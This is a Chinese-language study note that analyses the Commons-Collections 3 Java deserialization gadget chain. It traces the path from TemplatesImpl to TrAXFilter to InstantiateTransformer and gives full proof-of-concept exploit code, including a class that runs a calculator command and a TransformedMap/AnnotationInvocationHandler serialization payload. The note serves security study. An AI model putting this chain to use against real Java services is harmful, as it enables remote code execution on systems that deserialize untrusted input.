Commons-collections3 利用链分析笔记

简介: Commons-collections3 利用链分析

类加载

.java文件编译为.class文件,把字节码中的二进制数据读入到内存中,将其放在运行时数据区的方法区内,然后在堆区创建一个java.lang.Class对象,用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象,Class对象封装了类在方法区内的数据结构,并且向Java程序员提供了访问方法区内的数据结构的接口。

加载class的方式

1.从本地系统中直接加载

2.通过网络下载.class文件

3.从zip,jar等归档文件中加载.class文件

4.从专有数据库中提取.class文件

5.将Java源文件动态编译为.class文件(动态代理生成的及jsp转换为servlet)

类加载过程

类的加载的方式

由关键字new创建一个类的实例
通过Class.forName()方法动态加载
通过ClassLoader.loadClass()方法动态加载

CC3 是通过动态类加载的方式执行代码,执行的过程,初始化代码。

寻找入口点

ClassLoader().loadClass();

640.png

loadClass 会调defineClass

640.png

类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码,需要寻找一个初始化的点,这里从defineClass寻找 public的可重写的方法

TemplatesImpl类

这个类在上篇Fastjson不出网利用总结有提到,本篇会大致分析下在cc中的利用方法

TemplatesImpl发现了这个defineClass类,没有修饰符,默认在本包中调用,接着寻找

getTransletInstance发现了defineTransletClasses,并进行了初始化 newInstance()

这里的还是使用private进行修饰,接着找public

640.png

最终在这里找到公有方法,这条链的流程大致如下

newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

攻击调用

    TemplatesImpl templates = new TemplatesImpl();
    templates.newTransformer();

    首先利用这个类,需要一些参数,点击newTransformer486行有三个参数,参数默认为null,不写也可以执行

    接着跟进getTransletInstance方法,判断name参数,为null就返回,这个参数需要写进去,判断class参数为null,则调用defineTransletClasses函数,上面分析了流程,所以这里的class参数不写,就可以进行调用defineTransletClasses

    在接着跟进defineTransletClasses

    bytecodes需要赋值,否则爆出异常

    401行的方法里_tfactory需要调用一个get方法,查看变量,在readObject是一个new函数。

    640.png

    414会调用defineClass,方法中有个_bytecodes,查看变量是一个二维数组,前面的class是一个一维数组,在最早的defineClass方法中需要传递一个字节数组,在目前的流程就分析完成,接下来写代码进行测试

    640.png

    编写poc

      TemplatesImpl templates = new TemplatesImpl();
      Class tc = templates.getClass();
      // name参数
      Field nameField = tc.getDeclaredField("_name");
      nameField.setAccessible(true);
      nameField.set(templates,"aaa");
      // bytecodes参数
      Field bytecodesField = tc.getDeclaredField("_bytecodes");
      bytecodesField.setAccessible(true);
      // 两个数组 从文件读字节码
      byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
      byte[][] codes = {code};
      bytecodesField.set(templates,codes);
      // _tfactory
      Field tfactoryField = tc.getDeclaredField("_tfactory");
      tfactoryField.setAccessible(true);
      tfactoryField.set(templates,new TransformerFactoryImpl());
      templates.newTransformer();
      

      shell.java

      import java.io.IOException;
      public class shell  {
          static {
              try {
                  Runtime.getRuntime().exec("open -a calculator");
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
      }

      运行报错,打断点调试

      找到问题点了,当前位置已经加载shell类,然后判断这个shell类的父类要等于这个常量,跟进常量,是一个抽象类

      修改shell类,继承AbstractTranslet,并重写两个方法

      再次执行

      使用cc1的前半部分利用链

      TemplatesImpl templates = new TemplatesImpl();
      Class tc = templates.getClass();
      // name参数
      Field nameField = tc.getDeclaredField("_name");
      nameField.setAccessible(true);
      nameField.set(templates,"aaa");
      // bytecodes参数
      Field bytecodesField = tc.getDeclaredField("_bytecodes");
      bytecodesField.setAccessible(true);
      // 两个数组 从文件读字节码
      byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
      byte[][] codes = {code};
      bytecodesField.set(templates,codes);
      // _tfactory
      Field tfactoryField = tc.getDeclaredField("_tfactory");
      tfactoryField.setAccessible(true);
      tfactoryField.set(templates,new TransformerFactoryImpl());
      //templates.newTransformer();
      Transformer[] transformer  = new Transformer[]{
      new ConstantTransformer(templates),
      new InvokerTransformer("newTransformer", null,null),
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
      chainedTransformer.transform(1);
      


      TemplatesImpl templates = new TemplatesImpl();
      Class tc = templates.getClass();
      // name参数
      Field nameField = tc.getDeclaredField("_name");
      nameField.setAccessible(true);
      nameField.set(templates,"aaa");
      // bytecodes参数
      Field bytecodesField = tc.getDeclaredField("_bytecodes");
      bytecodesField.setAccessible(true);
      // 两个数组 从文件读字节码
      byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
      byte[][] codes = {code};
      bytecodesField.set(templates,codes);
      // _tfactory
      Field tfactoryField = tc.getDeclaredField("_tfactory");
      tfactoryField.setAccessible(true);
      tfactoryField.set(templates,new TransformerFactoryImpl());
      //templates.newTransformer();
      Transformer[] transformer  = new Transformer[]{
              new ConstantTransformer(templates),
              new InvokerTransformer("newTransformer", null,null),
            };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
      //        chainedTransformer.transform(1);
      //遍历map
      HashMap<Object,Object> hashedMap = new HashMap();
      hashedMap.put("value","aaa");
      Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
      // 反射引用AnnotationInvocationHandler
      Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, map);
      //序列化
      //serializable(o);
      unserializable("ser.bin");

      InstantiateTransformer

      ysoserial中使用了InstantiateTransformer进行调用,跟进这个构造方法,需要传递两个参数,数组和对象

      再跟进newTransformer

      640.png

      发现TrAXFilter构造方法直接传递templates,并直接调用newTransformer

      TrAXFilter没有继承反序列化接口,XMLFilterImpl也没有,但是获取class可以进行反序列化

      那么最终的利用链如下

      前半部分和cc1的一样,只不过是把InvokerTransformer替换为InstantiateTransformer

      InstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()

      最终exp

      package com.test.cc;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
      import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
      import org.apache.commons.collections.Transformer;
      import org.apache.commons.collections.functors.ChainedTransformer;
      import org.apache.commons.collections.functors.ConstantTransformer;
      import org.apache.commons.collections.functors.InstantiateTransformer;
      import org.apache.commons.collections.map.TransformedMap;
      import javax.xml.transform.Templates;
      import java.io.*;
      import java.lang.annotation.Target;
      import java.lang.reflect.Constructor;
      import java.lang.reflect.Field;
      import java.nio.file.Files;
      import java.nio.file.Paths;
      import java.util.HashMap;
      import java.util.Map;
      public class CC3 {
          public static void main(String[] args) throws Exception {
              TemplatesImpl templates = new TemplatesImpl();
              Class tc = templates.getClass();
              // name参数
              Field nameField = tc.getDeclaredField("_name");
              nameField.setAccessible(true);
              nameField.set(templates,"aaa");
              // bytecodes参数
              Field bytecodesField = tc.getDeclaredField("_bytecodes");
              bytecodesField.setAccessible(true);
              // 两个数组 从文件读字节码
              byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
              byte[][] codes = {code};
              bytecodesField.set(templates,codes);
              // 创建instantiateTransformer
              InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
              // 调用TrAXFilter.class
              Transformer[] transformer  = new Transformer[]{
                      new ConstantTransformer(TrAXFilter.class),instantiateTransformer
              };
              // 动态代理
              ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
              //遍历map
              HashMap<Object,Object> hashedMap = new HashMap();
              hashedMap.put("value","aaa");
              Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
              // 反射引用AnnotationInvocationHandler
              Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
              Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
              constructor.setAccessible(true);
              Object o = constructor.newInstance(Target.class, map);
              //序列化
      //        serializable(o);
              unserializable("ser.bin");
          }
          public static void serializable(Object o) throws Exception {
              ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
              oos.writeObject(o);
          }
          public static  Object unserializable(String filename) throws Exception{
              ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
              Object o = ois.readObject();
              return o;
          }
      }

      相关文章
      |
      Java Maven
      JAVA反序列化学习笔记4.Commons Collections2分析
      JAVA反序列化学习笔记4.Commons Collections2分析
      |
      6月前
      commons-collections常用工具类
      commons-collections常用工具类
      60 0
      |
      算法 Java 容器
      深入探究Java集合工具类Collections的神奇功能
      深入探究Java集合工具类Collections的神奇功能
      105 0
      |
      安全 Java
      JAVA反序列化学习笔记3.Commons Collections5分析
      JAVA反序列化学习笔记3.Commons Collections5分析
      |
      安全 Java
      JAVA反序列化学习笔记2.Commons Collections1分析
      JAVA反序列化学习笔记2.Commons Collections1分析
      |
      算法 安全 Java
      【JavaSE专栏47】Java常用类Collections解析,你了解JAVA集合类的通用用法吗?
      【JavaSE专栏47】Java常用类Collections解析,你了解JAVA集合类的通用用法吗?
      188 2
      |
      安全 Java Maven
      Commons Collections1 利用链分析笔记
      Commons Collections1 利用链分析
      |
      安全 Java
      Java安全之Commons Collections3分析
      在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。
      86 0
      |
      Java 开发者
      Collections 工具类|学习笔记
      快速学习 Collections 工具类
      Collections 工具类|学习笔记
      【JavaSE】Collections集合工具类专题(上)
      文章目录 1 Collections 工具类常用方法 1.1 排序反转类 1.1.1 reverse() 1.1.2 shuffle() 1.1.3 sort() 1.2 查找、替换类 1.2.1 Object max() 1.2.2 frequency() 1.2.3 copy() 1.2.4 replaceAll()
      【JavaSE】Collections集合工具类专题(上)